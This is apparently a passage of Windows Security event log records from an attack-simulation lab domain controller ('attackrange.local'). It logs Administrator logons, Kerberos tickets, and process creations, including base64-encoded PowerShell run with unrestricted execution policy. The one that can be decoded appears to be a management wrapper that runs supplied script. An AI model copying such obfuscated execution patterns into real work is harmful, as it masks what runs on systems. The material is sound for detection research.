The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:33:47 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=258057
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{94F5FBEF-489D-AAF9-3BB5-270620D7B5A2}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/12/2021 02:33:47 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=258056
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{94F5FBEF-489D-AAF9-3BB5-270620D7B5A2}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/12/2021 02:33:47 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=258055
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/12/2021 02:33:47 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=258054
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x56205A

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:33:47 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=258053
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x561262

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:33:47 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=258052
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55F201

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:33:47 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=258051
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x119c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x484
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RESBCB8.tmp" "c:\Users\Administrator\AppData\Local\Temp\dpghsoxh\CSC9100C513553D4E579BC5FD23841D6C4.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:47 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=258050
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x484
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x294
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Administrator\AppData\Local\Temp\dpghsoxh\dpghsoxh.cmdline"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:48 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=258096
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x573406

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/12/2021 02:33:48 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=258095
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x573406
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{050B45FC-0D0E-AC38-6713-C08B99C3BD76}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:33:48 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=258094
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{050B45FC-0D0E-AC38-6713-C08B99C3BD76}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/12/2021 02:33:48 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=258093
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{050B45FC-0D0E-AC38-6713-C08B99C3BD76}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/12/2021 02:33:48 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=258092
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/12/2021 02:33:48 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=258091
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x57048D

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x474
	New Process Name:	C:\Windows\System32\chcp.com
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xa98
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\system32\chcp.com" 65001

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:48 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=258090
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x57048D

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa98
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x12bc
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:48 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=258089
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x571336

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/12/2021 02:33:48 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=258088
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x571336
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{050B45FC-0D0E-AC38-6713-C08B99C3BD76}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:33:48 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=258087
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{050B45FC-0D0E-AC38-6713-C08B99C3BD76}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/12/2021 02:33:48 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=258086
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{050B45FC-0D0E-AC38-6713-C08B99C3BD76}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/12/2021 02:33:48 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=258085
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/12/2021 02:33:48 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=258084
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x57048D

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12bc
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xc14
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	PowerShell  -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUA